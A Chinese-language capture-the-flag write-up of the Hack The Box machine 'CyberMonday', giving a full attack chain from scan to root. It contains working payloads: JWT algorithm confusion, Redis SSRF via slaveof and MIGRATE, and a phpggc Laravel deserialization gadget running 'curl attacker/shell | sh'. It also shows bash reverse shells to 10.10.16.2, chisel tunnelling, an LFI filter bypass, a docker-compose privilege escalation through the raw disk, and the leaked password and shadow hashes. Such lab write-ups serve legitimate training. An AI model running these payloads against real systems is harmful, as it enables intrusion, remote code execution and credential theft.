基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.228
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-21 14:00 CST
Nmap scan report for 10.10.11.228
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 74:68:14:1f:a1:c0:48:e5:0d:0a:92:6a:fb:c1:0c:d8 (RSA)
| 256 f7:10:9d:c0:d1:f3:83:f2:05:25:aa:db:08:0e:8e:4e (ECDSA)
|_ 256 2f:64:08:a9:af:1a:c5:cf:0f:0b:9b:d2:95:f5:92:32 (ED25519)
80/tcp open http nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.47 seconds

80

需要加hosts:

1
10.10.11.228 cybermonday.htb

一个在线商城:

cybermonda

随意注册登录,cookie是base64编码json:

debug mode

注册时尝试sql注入,例如使用miao'作为用户名,报错发现开了debug mode:

其中可以看到有一个isAdmin属性:

isAdmin

回到正常用户,有一个更新Profile的功能,更新的时候尝试添加isAdmin参数,成功成为管理员,多了一个Dashboard:

Dashboard

changelog中发现webhook子域名,同样添加hosts:

1
10.10.11.228 cybermonday.htb webhooks-api-beta.cybermonday.htb

LFI

这里测试还可以发现一个路径穿越导致LFI,nginx配置的问题,配置文件中使用alias,上下不一致:

.git

同样存在git泄漏,结合上面的路径穿越:

1
2
3
http://cybermonday.htb/assets../.git/config

git-dumper "http://cybermonday.htb/assets../.git" git_dump

webhook

访问给出的webhook是404,直接访问根路径给出api信息:

x-access-token

根据API注册登录,得到x-access-token是JWT,其中role是user:

Webhooks

使用得到的token查看webhooks,uuid就是dashboard里显示的那个:

现有的action是createLogFile,根据API调用,响应成功,但不知道写入位置:

当前token因为是user,创建webhook无权限

JWT

基础的探测可以发现jwks.json:

1
http://webhooks-api-beta.cybermonday.htb/jwks.json

Algorithm confusion

现有信息,有jwks,有user的jwt,需要admin的jwt,这种场景:

根据参考资料内容,首先提取出公钥,然后倒入到Burp扩展中测试利用:

1
2
3
4
python3 ~/Tools/jwt_tool/jwt_tool.py -t http://webhooks-api-beta.cybermonday.htb/webhooks -rh "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJtaWFvIiwicm9sZSI6InVzZXIifQ.cIue1XS4uxo6dUVE8XLsMlFHrXghXju0mTtKvr9mzAUezYku6z8JAQuWHWsvnNesdqZCbHgKIsegWFe4H-k-PgxewNHWpdB8gy90r0k2J4oS7Ddo0_79SApjKgKOuXF1gYDmpKYu1IK2wmeVF7v6tkhPDsJmEgXWEBnHvmAWCP70PIBtgGUXqI25L7BxLmkPnnItX4lvvRrr7Vcm7x7XFfzvAI_ZdfsBYZaDRC6wqGnFsQtt7zIEXriUgPrQZpIe_nHXWOAqfifSDDyOCWOorxu8WKIJ2pSb0wi9ujMSxmzqMKPccZuGZlasGMneoYSCbEedJZPvOMJHFGfBYwAq_g" -V -jw jwks.json

Found RSA key factors, generating a public key
[+] kid_0_1692601371.pem

导入Burp扩展后,修改jwt内容,使用Attack->HMAC key Confusion方式,选择我们导入的pem,签名后发送,现在我们是admin,可以创建新的webhook使用sendRequest action:

sendRequest

现在可以调用我们创建的webhook使用sendRequest方法,根据api是url和method两个参数,url必须http协议,method可以任意:

redis slaveof

已有条件只能SSRF,根据前面LFI中得到的一些信息,尝试使用redis的slaveof:

1
{"url":"http://redis:6379","method":"slaveof 10.10.16.2 6379\r\n\r\n"}

可以接收到来自redis的ping请求:

修改请求通过主从获取redis中数据(主站那里正常登录触发):

1
{"url":"http://redis:6379","method":"EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"10.10.16.2\",\"6379\",v,0,200) end' 0\r\n*1\r\n$20\r\n"}

Laravel

现在已有条件,可以控制Laravel用到的redis,那就可以尝试修改redis中的数据来打反序列化:

注意修改payload中对应的长度,以及引号和斜杠的转义:

1
2
3
~/Tools/phpggc/phpggc Laravel/RCE10 system 'curl 10.10.16.2:7777'

{"url": "http://redis:6379","method": "*3\r\n$3\r\nset\r\n$56\r\nlaravel_session:57VLa9wNMwVgQp0NGnBckednmh0LCTS0OFnYlVGT\r\n$238\r\nO:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:20:\"curl 10.10.16.2:7777\";}i:1;s:4:\"user\";}}\r\n*1\r\n$4\r\nquit\r\n"}

发送后回到首页刷新,触发反序列化:

redis中的key是session id,也可以直接从cookie中解密得到,需要的app_key在前面的env中可以得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$cookie = "eyJpdiI6InhIanpFV0VuMkJlam9wOW81UTRrTXc9PSIsInZhbHVlIjoiNTZ2d2Urd0FQSWRKdURzZnZLK25GbWg1bzZNSUovczdkcENWdTVzaU1ZYnVYWVVUZXd5V1lvT3pvVXFvd2t2ZHNtbjIzVDZ1eElDVTgvaHlPYk5pbEczWkRCOElPbUxaVS8waDB3ODhRNHRkSm9uQVIxcGd5Q29ZZ0ZrV3AwK04iLCJtYWMiOiIzMDAxYzNiMDU2MzAyNTA1Y2YwYWUxNzFjNzE4ODRlY2MzNGQ0MDMwMjVjNzE2YWZjNjRhY2U5NzdjNTAyYjJhIiwidGFnIjoiIn0=";
$app_key = base64_decode("EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=");

$cookie_decoded = json_decode(base64_decode($cookie));

$iv = base64_decode($cookie_decoded->iv);
$value = base64_decode($cookie_decoded->value);

$result = openssl_decrypt($value, "AES-256-CBC", $app_key, OPENSSL_RAW_DATA, $iv);
var_dump($result);
?>

shell

同样的反序列化方法,得到www-data shell:

1
2
3
4
~/Tools/phpggc/phpggc Laravel/RCE10 system 'curl 10.10.16.2:7777/shell | sh'

# shell
bash -c "/bin/bash -i >& /dev/tcp/10.10.16.2/4444 0>&1"

Docker

前面的env中也可以知道CHANGELOG_PATH="/mnt/changelog.txt",去查看mnt目录发现user .txt,但当前没有权限读取:

docker Registry

容器内很多命令都没有,简单的探测,根据hosts知道网段,registry默认5000端口一个个探测,发现172.18.0.3(不固定,也可能是其他ip):

然后就是转发端口:

1
2
3
4
5
6
# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse
# target
curl http://10.10.16.2:7777/chisel_1.7.6_linux_amd64 -o chisel
chmod +x ./chisel
./chisel client 10.10.16.2:9999 R:5000:172.18.0.3:5000

dump:

1
2
3
4
python3 DockerGraber.py http://127.0.0.1 --list
[+] cybermonday_api

python3 DockerGraber.py http://127.0.0.1 --dump cybermonday_api

LogsController

dump得到的文件中读代码,LogsController中发现list和read的action,需要用的api key在heapers/apis.php里:

1
$this->api_key = "22892e36-1770-11ee-be56-0242ac120002";

list只能看action是createLogFile的webhook的日志目录,read也有很多过滤:

Logs LFI

根据前面的代码,过滤规则是:

  • 不允许出现 ../
  • 会去掉空格
  • 文件名中中必须包含log

那如果是. ./,这样的,能够通过第一层校验,然后空格被去掉变成了正常的../:

读取环境变量信息,得到一个密码:

1
DBPASS=ngFfX2L71Nu

另外容器内读文件可以知道用户名是john:

user flag

得到的用户名密码登录:

1
2
ssh john@10.10.11.228
ngFfX2L71Nu

提权信息

sudo可以运行一个py调用docker-compose:

查看内容,就是调用docker-compose加载运行yml文件之前进行各种检查:

  • 白名单路径
  • read only
  • 不允许软链接
  • no privileged

通过检查之后就是docker-compose up --build我们指定的yml文件

很容易想到的方法是磁盘映射到容器,并且容器启动时可以自动执行命令来得到容器shell进行后续操作,所以就是准备一个恶意yml文件进行利用:

secure_compose.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]

for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False

def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True

def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True

def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True

def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True

def main(filename):

if not os.path.exists(filename):
print(f"File not found")
return False

with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False

if "services" not in data:
print("Invalid docker-compose.yml")
return False

services = data["services"]

if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False

for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True

def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)

if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)

filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)

signal.signal(signal.SIGINT, signal_handler)

print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")

cleanup(temp_dir)

提权 & root flag

宿主机查看磁盘信息确认是sda1,然后就是准备恶意yml文件后运行,得到的容器shell内debugfs读文件:

1
2
3
4
5
6
7
8
9
10
11
john@cybermonday:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 7G 0 disk
|-sda1 8:1 0 6G 0 part /
`-sda2 8:2 0 1023M 0 part [SWAP]

sudo /opt/secure_compose.py miao.yml

# 容器内
debugfs /dev/sda1
cat /root/root.txt

miao.yml

1
2
3
4
5
6
7
version: "3.0"
services:
malicious-service:
image: cybermonday_api
devices:
- /dev/sda1:/dev/sda1
command: bash -c 'bash -i >& /dev/tcp/10.10.16.2/4444 0>&1'

shadow

1
2
root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40:19506:0:99999:7:::
john:$y$j9T$GjbNtuqeiU3F8AVjXki/F1$E.mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7:::

参考资料